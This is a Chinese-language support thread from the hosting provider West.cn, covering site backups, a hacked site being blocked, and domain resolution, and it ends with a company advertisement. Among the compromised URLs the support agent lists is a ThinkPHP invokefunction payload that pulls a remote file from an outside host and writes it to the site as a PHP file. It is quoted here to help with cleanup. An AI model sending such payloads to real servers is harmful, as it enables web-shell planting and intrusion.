问：这个空间对应的数据库 没法备份了吗,这个空间对应的数据库没法备份了吗
答：您好，
非常感谢您对我司的支持，谢谢！
问：谢谢
答：您好，
客气了，请尽快将数据进行备份。
明天就过期超过一个月了，超过一个月后系统会删除站点和数据。
非常感谢您对我司的支持，谢谢！
问：这个站点我们都做了木马清除，为什么还是打不开了
答：您好，如链接 http://www.singcham.com.cn/index.php?99re=.xls&westauditpageinfo=1 存在挂马 ，详见附图 ，未做清理 ，请您参考https://www.west.cn/faq/list.asp?unid=2289 通过模拟蜘蛛的形式便可看到异常了 ，请尽快进行清理操作 ,非常感谢您长期对我司的支持!
问：能先把站点打开吗？请问就这一个链接有问题吗？
答：您好，请参考截图到非法信息列表查看具体链接，并进行清理操作 ，在清理后反馈我司，以便我司解除限制 ,非常感谢您长期对我司的支持!
问：那些链接都是阻断的，看不到啊
答：您好，以下是链接实例 ，请参考上条回复的教程进一步核实 ，并进行清理 ，当前我司暂时解除了限制 ,非常感谢您长期对我司的支持!
http://www.singcham.com.cn/index.php?99re=.xls&westauditpageinfo=1
http://www.singcham.com.cn/?kite64972.xml&westauditpageinfo=1
http://www.singcham.com.cn/index.php?kite53473.xml&westauditpageinfo=1
http://www.singcham.com.cn/index.php?down=vcSmnqp/OvQjm0c.asp&westauditpageinfo=1
http://www.singcham.com.cn/?ios=JVhaNHeIWD/Mosxtet3.psd&westauditpageinfo=1
http://www.singcham.com.cn/index.php?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=http://test.astras.space/1.txt&vars[1][]=libsoft.php&westauditpageinfo=1
问：http://www.yndjutuo.com/ 这个如何解析哦，把握看下设置下，511
问：在吗
问：http://hui1.s1058.vhostgo.com 测试域名正常的
问：http://www.yndjutuo.com/
答：您好，
域名解析已经生效，并且站点也已经可以正常访问。
测试结果已经截图反馈，还请您核实下。
非常感谢您对我司的支持，谢谢！
问：
问：和我测试域名不一样啊
问：http://hui1.s1058.vhostgo.com
问：
问：在吗
答：您好，
使用您绑定在子站的域名以及我们提供的子站测试域名访问都是正常的，而且内容一致。
测试结果已经截图反馈，我们建议您最好将本地浏览器缓存清理一下然后再测试访问看看是否正常即可。
非常感谢您对我司的支持，谢谢！
问：站点:mszynd 需要整站备份，空间不足，在吗
问：站点:mycjf88 站点:mszynd 需要整站备份哦，麻烦操作下，谢谢
答：您好，
站点:mycjf88 站点:mszynd 这两个站点都已经打包成rar文件在ftp根目录下，您直接登录ftp下载即可。
西部数码（west.cn）是经工信部、ICANN、CNNIC认证审批，持有ISP、云牌照、IDC、CDN、顶级域名注册商等全业务资质的正规老牌服务商，自成立至今20余年专注于域名注册、虚拟主机、云服务器、企业邮箱、企业建站等互联网基础服务！
截止目前，已经为超过2000万个域名提供了注册、解析等服务，是中国五星级域名注册注册商！已为超过50万个网站提供了高速稳定的云托管服务，获评中国最受用户喜欢云主机服务商。
西部数码提供全方位7X24H专业售后支撑，域名注册特价1元起，高速稳定云主机45元起，更多详情请浏览西部数码官网：https://www.west.cn/
